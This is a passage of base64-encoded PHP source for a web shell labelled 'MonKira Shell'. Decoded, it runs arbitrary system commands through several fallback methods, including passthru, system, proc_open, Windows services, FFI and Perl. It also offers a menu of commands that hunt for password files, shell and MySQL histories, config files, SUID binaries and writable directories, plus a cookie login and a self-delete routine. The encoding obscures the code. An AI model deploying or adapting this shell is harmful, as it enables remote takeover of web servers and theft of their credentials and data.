Jz0+JG4sJ2Rpc3BsYXknPT4kbiwncGF0aCc9PiRjbWQsJ3BhcmFtcyc9PiIvYyAkY29tbWFuZCA+XCIkbmFtZVwiIikpOwoJd2luMzJfc3RhcnRfc2VydmljZSgkbik7Cgl3aW4zMl9zdG9wX3NlcnZpY2UoJG4pOwoJd2luMzJfZGVsZXRlX3NlcnZpY2UoJG4pOwoJd2hpbGUoIWZpbGVfZXhpc3RzKCRuYW1lKSlzbGVlcCgxKTsKCSRleGVjPWZpbGVfZ2V0X2NvbnRlbnRzKCRuYW1lKTsKCXVubGluaygkbmFtZSk7CglyZXR1cm4gJGV4ZWM7Cn0KZnVuY3Rpb24gZmZpc2hlbEwoJGNvbW1hbmQpCnsKCSRuYW1lPXdoZXJlaXN0bVAoKS4iXFwiLnVuaXFpZCgnTkonKTsKCSRhcGk9bmV3IGZmaSgiW2xpYj0na2VybmVsMzIuZGxsJ10gaW50IFdpbkV4ZWMoY2hhciAqQVBQLGludCBTVyk7Iik7CgkkcmVzPSRhcGktPldpbkV4ZWMoImNtZC5leGUgL2MgJGNvbW1hbmQgPlwiJG5hbWVcIiIsMCk7Cgl3aGlsZSghZmlsZV9leGlzdHMoJG5hbWUpKXNsZWVwKDEpOwoJJGV4ZWM9ZmlsZV9nZXRfY29udGVudHMoJG5hbWUpOwoJdW5saW5rKCRuYW1lKTsKCXJldHVybiAkZXhlYzsKfQpmdW5jdGlvbiBjb21zaGVsTCgkY29tbWFuZCwkd3MpCnsKCSRleGVjPSR3cy0+ZXhlYygiY21kLmV4ZSAvYyAkY29tbWFuZCIpOyAKCSRzbz0kZXhlYy0+U3RkT3V0KCk7CglyZXR1cm4gJHNvLT5SZWFkQWxsKCk7Cn0KZnVuY3Rpb24gcGVybHNoZWxMKCRjb21tYW5kKQp7CgkkcGVybD1uZXcgcGVybCgpOwoJb2Jfc3RhcnQoKTsKCSRwZXJsLT5ldmFsKCJzeXN0ZW0oXCIkY29tbWFuZFwiKSIpOwoJJGV4ZWM9b2JfZ2V0X2NvbnRlbnRzKCk7CglvYl9lbmRfY2xlYW4oKTsKCXJldHVybiAkZXhlYzsKfQpmdW5jdGlvbiBFeGUoJGNvbW1hbmQpCnsKCWdsb2JhbCAkd2luZG93czsKCSRleGVjPSRvdXRwdXQ9Jyc7CgkkZGVwW109YXJyYXkoJ3BpcGUnLCdyJyk7JGRlcFtdPWFycmF5KCdwaXBlJywndycpOwoJaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKXtvYl9zdGFydCgpO0BwYXNzdGhydSgkY29tbWFuZCk7JGV4ZWM9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfY2xlYW4oKTtvYl9lbmRfY2xlYW4oKTt9CgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSl7JHRtcD1vYl9nZXRfY29udGVudHMoKTtvYl9jbGVhbigpO0BzeXN0ZW0oJGNvbW1hbmQpOyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfY2xlYW4oKTskZXhlYz0kdG1wO30KCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSl7QGV4ZWMoJGNvbW1hbmQsJG91dHB1dCk7JG91dHB1dD1qb2luKCJcbiIsJG91dHB1dCk7JGV4ZWM9JG91dHB1dDt9CgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpJGV4ZWM9QHNoZWxsX2V4ZWMoJGNvbW1hbmQpOwoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSl7JG91dHB1dD1AcG9wZW4oJGNvbW1hbmQsJ3InKTt3aGlsZSghZmVvZigkb3V0cHV0KSl7JGV4ZWM9ZmdldHMoJG91dHB1dCk7fXBjbG9zZSgkb3V0cHV0KTt9CgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSl7JHJlcz1AcHJvY19vcGVuKCRjb21tYW5kLCRkZXAsJHBpcGVzKTt3aGlsZSghZmVvZigkcGlwZXNbMV0pKXskbGluZT1mZ2V0cygkcGlwZXNbMV0pOyRvdXRwdXQuPSRsaW5lO30kZXhlYz0KCiRvdXRwdXQ7cHJvY19jbG9zZSgkcmVzKTt9CgllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCd3aW5fc2hlbGxfZXhlY3V0ZScpKSRleGVjPXdpbnNoZWxMKCRjb21tYW5kKTsKCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3dpbjMyX2NyZWF0ZV9zZXJ2aWNlJykpJGV4ZWM9c3J2c2hlbEwoJGNvbW1hbmQpOwoJZWxzZWlmKGV4dGVuc2lvbl9sb2FkZWQoJ2ZmaScpICYmICR3aW5kb3dzKSRleGVjPWZmaXNoZWxMKCRjb21tYW5kKTsKCWVsc2VpZihleHRlbnNpb25fbG9hZGVkKCdwZXJsJykpJGV4ZWM9cGVybHNoZWxMKCRjb21tYW5kKTsKCXJldHVybiAkZXhlYzsKfQpmdW5jdGlvbiBtYWdpY1FvdXRzKCkKewoJJG1hZz1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOwoJaWYgKGVtcHR5KCRtYWcpKQoJewoJCSRtYWcgPSAnPGZvbnQgY29sb3I9ImdyZWVuIj5PRkY8L2ZvbnQ+JzsKCX0KCWVsc2UgCgl7CgkJJG1hZz0gJzxmb250IGNvbG9yPSJyZWQiPk9OPC9mb250Pic7Cgl9CglyZXR1cm4gJG1hZzsKfQpmdW5jdGlvbiBEaXNhYmxlRnVuY3Rpb25zKCkKewoJJGRpc2Z1biA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CglpZiAoZW1wdHkoJGRpc2Z1bikpCgl7CgkJJGRpc2Z1biA9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPk5PTkU8L2ZvbnQ+JzsKCX0KCXJldHVybiAkZGlzZnVuOwp9CmZ1bmN0aW9uIFNlbGVjdENvbW1hbmQoJG9zKQp7CglpZigkb3MgPT0gJ1dpbmRvd3MnKQoJewoJCWVjaG8gIgoJCTxzZWxlY3QgbmFtZT1hbGlhcyA+CgkJPG9wdGlvbiB2YWx1ZT0nJz5OT05FPC9vcHRpb24+CQoJCTxvcHRpb24gdmFsdWU9J2RpcicgPkxpc3QgRGlyZWN0b3J5PC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZGlyIC9zIC93IC9iIGluZGV4LnBocCc+RmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXI8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwJz5GaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDsgIAoKJm5ic3A7ICAmbmJzcDsgICZuYnNwOyAgJm5ic3A7ICAmbmJzcDs8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSduZXRzdGF0IC1hbic+U2hvdyBhY3RpdmUgY29ubmVjdGlvbnM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSduZXQgc3RhcnQnPlNob3cgcnVubmluZyBzZXJ2aWNlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J3Rhc2tsaXN0Jz5TaG93IFBybzwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J25ldCB1c2VyJz5Vc2VyIGFjY291bnRzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbmV0IHZpZXcnPlNob3cgY29tcHV0ZXJzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nYXJwIC1hJz5BUlAgVGFibGU8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdpcGNvbmZpZyAvYWxsJz5JUCBDb25maWd1cmF0aW9uPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbmV0c3RhdCAtYW4nPm5ldHN0YXQgLWFuPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nc3lzdGVtaW5mbyc+U3lzdGVtIEluZm9ybWF0aW9uczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2dldG1hYyc+R2V0IE1hYyBBZGRyZXNzPC9vcHRpb24+CgkJPC9zZWxlY3Q+CgkJIjsKCX0KCWVsc2UKCXsKCQllY2hvICIKCQk8c2VsZWN0IG5hbWU9YWxpYXMgPgoJCTxvcHRpb24gdmFsdWU9Jyc+Tk9ORTwvb3B0aW9uPgkKCQk8b3B0aW9uIHZhbHVlPSdscyAtbGEnPkxpc3QgZGlyPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nY2F0IC9ldGMvaG9zdHMnPklQIEFkZHJlc3Nlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2NhdCAvcHJvYy9zeXMvdm0vbW1hcF9taW5fYWRkcic+Q2hlY2sgTU1BUDwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xzYXR0ciAtdmEnPmxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbmV0c3RhdCAtYW4gfCBncmVwIC1pIGxpc3Rlbic+c2hvdyBvcGVuZWQgcG9ydHM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJz5maW5kIGFsbCBzdWlkIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyc+ZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyc+ZmluZCBhbGwgc2dpZCBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnPmZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJz5maW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCInPmZpbmQgY29uZmlnKiBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiJz5maW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC8gLXBlcm0gLTIgLWxzJz5maW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtcGVybSAtMiAtbHMnPmZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnPmZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QnPmZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QnPmZpbmQgYWxsIC5odHBhc3N3ZCBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCc+ZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5Jz5maW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSc+ZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJz5maW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnPmZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGh0dHBkLmNvbmYnPmxvY2F0ZSBodHRwZC5jb25mIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIHZob3N0cy5jb25mJz5sb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgcHJvZnRwZC5jb25mJz5sb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIHBzeWJuYy5jb25mJz5sb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgbXkuY29uZic+bG9jYXRlIG15LmNvbmYgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgYWRtaW4ucGhwJz5sb2NhdGUgYWRtaW4ucGhwIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNmZy5waHAnPmxvY2F0ZSBjZmcucGhwIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGNvbmYucGhwJz5sb2NhdGUgY29uZi5waHAgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnLmRhdCc+bG9jYXRlIGNvbmZpZy5kYXQgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnLnBocCc+bG9jYXRlIGNvbmZpZy5waHAgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnLmluYyc+bG9jYXRlIGNvbmZpZy5pbmMgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnLmluYy5waHAnPmxvY2F0ZSBjb25maWcuaW5jLnBocDwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAnPmxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgY29uZmlnJz5sb2NhdGUgY29uZmlnKiBmaWxlcyA8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgXCcuY29uZlwnJz5sb2NhdGUgLmNvbmYgZmlsZXM8L29wdGlvbj4KCQk8b3B0aW9uIHZhbHVlPSdsb2NhdGUgXCcucHdkXCcnPmxvY2F0ZSAucHdkIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwnLnNxbFwnJz5sb2NhdGUgLnNxbCBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcJy5odHBhc3N3ZFwnJz5sb2NhdGUgLmh0cGFzc3dkIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIFwnLmJhc2hfaGlzdG9yeVwnJz5sb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcJy5teXNxbF9oaXN0b3J5XCcnPmxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBcJy5mZXRjaG1haWxyY1wnJz5sb2NhdGUgLmZldGNobWFpbHJjIGZpbGVzPC9vcHRpb24+CgkJPG9wdGlvbiB2YWx1ZT0nbG9jYXRlIGJhY2t1cCc+bG9jYXRlIGJhY2t1cCBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBkdW1wJz5sb2NhdGUgZHVtcCBmaWxlczwvb3B0aW9uPgoJCTxvcHRpb24gdmFsdWU9J2xvY2F0ZSBwcml2Jz5sb2NhdGUgcHJpdiBmaWxlczwvb3B0aW9uPgoJCTwvc2VsZWN0PgoJCSI7Cgl9Cn0KZnVuY3Rpb24gR2VuZXJhdGVGaWxlKCRuYW1lLCRjb250ZW50KQp7CgkkZmlsZSA9IEBmb3BlbigkbmFtZSwidysiKTsKCUBmd3JpdGUoJGZpbGUsJGNvbnRlbnQpOwoJQGZjbG9zZSgkZmlsZSk7CglyZXR1cm4gdHJ1ZTsKfQpmdW5jdGlvbiB3aGljaCgkcHIpCnsgCgkkcGF0aCA9IEV4ZSgid2hpY2ggJHByIik7CglpZighZW1wdHkoJHBhdGgpKSAKCXsgCgkJcmV0dXJuIHRyaW0oJHBhdGgpOyAKCX0gCgllbHNlIAoJeyAKCQlyZXR1cm4gdHJpbSgkcHIpOyAKCX0gCn0KZnVuY3Rpb24gY2hlY2tmdW5jdGlvTigkZnVuYykKewoJZ2xvYmFsICRkaXNhYmxlZnVuY3Rpb25zLCRzYWZlbW9kZTsKCSRzYWZlPWFycmF5KCdwYXNzdGhydScsJ3N5c3RlbScsJ2V4ZWMnLCdleGVjJywnc2hlbGxfZXhlYycsJ3BvcGVuJywncHJvY19vcGVuJyk7CglpZigkc2FmZW1vZGU9PSdPTicgJiYgaW5fYXJyYXkoJGZ1bmMsJHNhZmUpKXJldHVybiAwOwoJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygkZnVuYykgJiYgaXNfY2FsbGFibGUoJGZ1bmMpICYmICFzdHJzdHIoJGRpc2FibGVmdW5jdGlvbnMsJGZ1bmMpKXJldHVybiAxOwoJcmV0dXJuIDA7Cn0KZnVuY3Rpb24gQ1NTKCRzaGVsbENvbG9yKQp7CgoJJGNzcyA9ICAiCgk8aHRtbCBkaXI9cnRsPgoJPGhlYWQ+Cgk8dGl0bGU+Ljo6IE1vbktpcmEgU2hlbGwgOjouPC90aXRsZT4KCTxsaW5rIHJlbD1cInNob3J0Y3V0IGljb25cIiBocmVmPScnIC8+Cgk8bWV0YSBodHRwLWVxdWl2PUNvbnRlbnQtVHlwZSBjb250ZW50PXRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTY+Cgk8c3R5bGU+CglCT0RZCgl7CgkJRk9OVC1GQU1JTFk6IFZlcmRhbmE7IAoJCW1hcmdpbjogMjsKCQljb2xvcjogI2NjY2NjYzsKCQliYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwOwoJfQoJc3kgIAoJewoJCWNvbG9yOiIuJHNoZWxsQ29sb3IuIjsKCQlmb250LXNpemU6N3B0OwoJCWZvbnQtd2VpZ2h0OiBib2xkOwoJfQoJI0JveAoJewoJY29sb3I6Ii4kc2hlbGxDb2xvci4iOwoJZm9udC1zaXplOjE0cHg7CgliYWNrZ3JvdW5kLWNvbG9yOiMwMDA7Cglmb250LXdlaWdodDpib2xkOwoJfQoJdHIgCgl7CglCT1JERVItUklHSFQ6ICAjY2NjY2NjIDFweCBzb2xpZDsKCUJPUkRFUi1UT1A6ICAgICNjY2NjY2MgMXB4IHNvbGlkOwoJQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyAxcHggc29saWQ7CglCT1JERVItQk9UVE9NOiAjY2NjY2NjIDFweCBzb2xpZDsKCWNvbG9yOiAjZmZmZmZmOwoJfQoJdGQgCgl7CglCT1JERVItUklHSFQ6ICAjY2NjY2NjIDFweCBzb2xpZDsKCUJPUkRFUi1UT1A6ICAgICNjY2NjY2MgMXB4IHNvbGlkOwoJQk9SREVSLUxFRlQ6ICAgI2NjY2NjYyAxcHggc29saWQ7CglCT1JERVItQk9UVE9NOiAjY2NjY2NjIDFweCBzb2xpZDsKCWNvbG9yOiAjY2NjY2NjOwoJfQoJLnRhYmxlMSAKCXsKCUJPUkRFUjogMXB4IG5vbmU7CglCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwoJY29sb3I6ICMzMzMzMzMKCX0KCS50ZDEgCgl7CglCT1JERVI6IDFweCBub25lOwoJY29sb3I6ICNmZmZmZmY7IGZvbnQtc3R5bGU6bm9ybWFsOyAKCWZvbnQtdmFyaWFudDpub3JtYWw7Cglmb250LXdlaWdodDpub3JtYWw7Cglmb250LXNpemU6N3B0OwoJZm9udC1mYW1pbHk6dGFob21hCgl9CgkudHIxIAoJewoJQk9SREVSOiAxcHggbm9uZTsKCWNvbG9yOiAjY2NjY2NjOwoJfQoJdGFibGUgCgl7CglCT1JERVI6ICAjZWVlZWVlICBvdXRzZXQ7CglCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwoJY29sb3I6ICNjY2NjY2M7Cgl9CglpbnB1dCAKCXsKCUJPUkRFUi1SSUdIVDogICIuJHNoZWxsQ29sb3IuIiAxcHggc29saWQ7CglCT1JERVItVE9QOiAgICAiLiRzaGVsbENvbG9yLiIgMXB4IHNvbGlkOwoJQk9SREVSLUxFRlQ6ICAgIi4kc2hlbGxDb2xvci4iIDFweCBzb2xpZDsKCUJPUkRFUi1CT1RUT006ICIuJHNoZWxsQ29sb3IuIiAxcHggc29saWQ7CglCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOwoJZm9udDogOXB0IHRhaG9tYTsKCWNvbG9yOiAjZmZmZmZmOwoJfQoJc2VsZWN0IAoJewoJQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7CglCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsKCUJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOwoJQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7CglCQUNLR1JPVU5ELUNPTE9SOiAjMDAwMDAwOwoJZm9udDogOXB0IHRhaG9tYTsKCWNvbG9yOiAjQ0NDQ0NDOzsKCX0KCXN1Ym1pdCAKCXsKCUJPUkRFUjogIDFweCBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OwoJQkFDS0dST1VORC1DT0xPUjogIzI3MjcyNzsKCXdpZHRoOiA0MCU7Cgljb2xvcjogI2NjY2NjYzsKCX0KCXRleHRhcmVhIAoJewoJQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7CglCT1JERVItVE9QOiAgICAjOTk5OTk5IDFweCBzb2xpZDsKCUJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOwoJQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7CglCQUNLR1JPVU5ELUNPTE9SOiAjMzMzMzMzOwoJY29sb3I6ICNmZmZmZmY7Cgl9CglBOmxpbmsge0NPTE9SOiIuJHNoZWxsQ29sb3IuIjsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQoJQTp2aXNpdGVkIHsgQ09MT1I6Ii4kc2hlbGxDb2xvci4iOyBURVhULURFQ09SQVRJT046IG5vbmV9CglBOmFjdGl2ZSB7Q09MT1I6Ii4kc2hlbGxDb2xvci4iOyBURVhULURFQ09SQVRJT046IG5vbmV9CglBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0KCTwvc3R5bGU+Cgk8c2NyaXB0PgoJZnVuY3Rpb24gU3VpY2lkZSgpCgl7Cgl2YXIgY29uZmltclN1aWNpZGUgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgWW91IFdhbm5hIERlbGV0ZSB0aGUgU2hlbGwgPycpOwoJaWYoY29uZmltclN1aWNpZGUgPT0gdHJ1ZSkKCXsKCWRvY3VtZW50LmxvY2F0aW9uPSciLmN1cnJlbnRGaWxlTmFtZSgpLiI/aWQ9RGVsZXRlJzsKCX0KCWVsc2Uge2RvY3VtZW50LmxvY2F0aW9uPSciLmN1cnJlbnRGaWxlTmFtZSgpLiInO30KCX0KCTwvc2NyaXB0PgoJPC9oZWFkPiI7CglpZigkX0dFVFsnaWQnXSA9PSAnJykKCXsKCQkJJGNzcyAuPSAgIjxzY3JpcHQ+d2luZG93LmxvY2F0aW9uID0gJz9pZD1tYWluUGFnZSc7PC9zY3JpcHQ+IjsKCX0KCXJldHVybiAkY3NzOwp9CmZ1bmN0aW9uIExvZ291dCgpCnsKCXByaW50IjxzY3JpcHQ+Cglkb2N1bWVudC5jb29raWU9J3VzZXI9JzsKCWRvY3VtZW50LmNvb2tpZT0ncGFzcz0nOwoJdmFyIHVybCA9IHdpbmRvdy5sb2NhdGlvbi5wYXRobmFtZTsKCXZhciBmaWxlbmFtZSA9IHVybC5zdWJzdHJpbmcodXJsLmxhc3RJbmRleE9mKCcvJykrMSk7Cgl3aW5kb3cubG9jYXRpb249ZmlsZW5hbWU7Cgk8L3NjcmlwdD4iOwp9CgpmdW5jdGlvbiBBYm91dCgpCnsKCSRhYm91dCA9ICIKPHRhYmxlIGJnY29sb3I9I2NjY2NjYyB3aWR0aD1cIjEwMCVcIj4KPHRib2R5Pjx0cj48dGQgd2lkdGg9MTAyNT4KPGRpdiBhbGlnbj1jZW50ZXI+PGltZyBzcmM9Jyc+PGJyPgo8L2Rpdj4KPHN5PjxkaXYgYWxpZ249Y2VudGVyPjwvZGl2Pjwvc3k+CjxzeT48ZGl2IGFsaWduPWNlbnRlcj48L2ZvbnQ+PC9kaXY+PC9zeT4KPGJyLz4KPGNlbnRlcj4KPGJyLz4KPGZvcm0gbWV0aG9kPSdQT1NUJz4KPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2Zyb20nIHZhbHVlPSd5b3VyRW1haWxAZXhhbXBsZS5jb20nIHNpemU9JzQwJy8+PGJyLz4KPHRleHRhcmVhIG5hbWU9J21lc3NhZ2UnIGNvbHM9JzI1JyByb3dzPScxMCc+UGxlYXNlIFJlcG9ydCBVcyBCdWdzIE9yIHN1Z2dlc3Rpb25zIC48L3RleHRhcmVhPjxici8+CjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTdWJtaXQnIG5hbWU9J3NlbmRFbWFpbCcgLz4gCjwvZm9ybT48L2NlbnRlcj4KPC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT4iOwpyZXR1cm4gJGFib3V0Owp9CmVjaG8gQ1NTKCRzaGVsbENvbG9yKTsKIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0jCiMgICAgICAgICAgICAgQXV0aGVudGljYXRpb24gICAgICAgICAgICAgIwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSMKaWYgKCR1c2Vsb2dpbiA9PTEpCnsKCWlmKCRfQ09PS0lFWyJ1c2VyIl0gIT0gJHVzZXIgb3IgJF9DT09LSUVbInBhc3MiXSAhPSBtZDUoJHBhc3MpKQoJewoJCWlmKCRfUE9TVFt1c3JuYW1lXT09JHVzZXIgJiYgJF9QT1NUW3Bhc3N3cmRdPT0kcGFzcykKCQl7CgkJCXByaW50JzxzY3JpcHQ+ZG9jdW1lbnQuY29va2llPSJ1c2VyPScuJF9QT1NUW3Vzcm5hbWVdLic7Ijtkb2N1bWVudC5jb29raWU9InBhc3M9Jy5tZDUoJF9QT1NUW3Bhc3N3cmRdKS4nOyI7PC9zY3JpcHQ+JzsKCQl9CgkJZWxzZQoJCXsKCQkJaWYoJF9QT1NUWyd1c3JuYW1lJ10pCgkJCXsKCQkJCXByaW50JzxzY3JpcHQ+YWxlcnQoIkdvIGFuZCBwbGF5IGluIHRoZSBzdHJlZXQgbWFuICEhIik7PC9zY3JpcHQ+JzsKCQkJfQoJCQllY2hvICcKCQkJPGJvZHkgYmdjb2xvcj0iYmxhY2siPjxicj48YnI+CgkJCTxjZW50ZXI+PGZvbnQgY29sb3I9Izk5MDAwMCBzaXplPTU+PGI+TW9uPC9iPjwvZm9udD48Zm9udCBjb2xvcj1ncmVlbiBzaXplPTU+PGI+S2lyYTwvYj48L2ZvbnQ+PGZvbnQgY29sb3I9Z3JheSBzaXplPTU+PGI+PC9iPjwvZm9udD48YnI+CgoJCQk8aW1nIHNyYz0iIj4KCQkJPC9jZW50ZXI+CgkJCTxkaXYgYWxpZ249ImNlbnR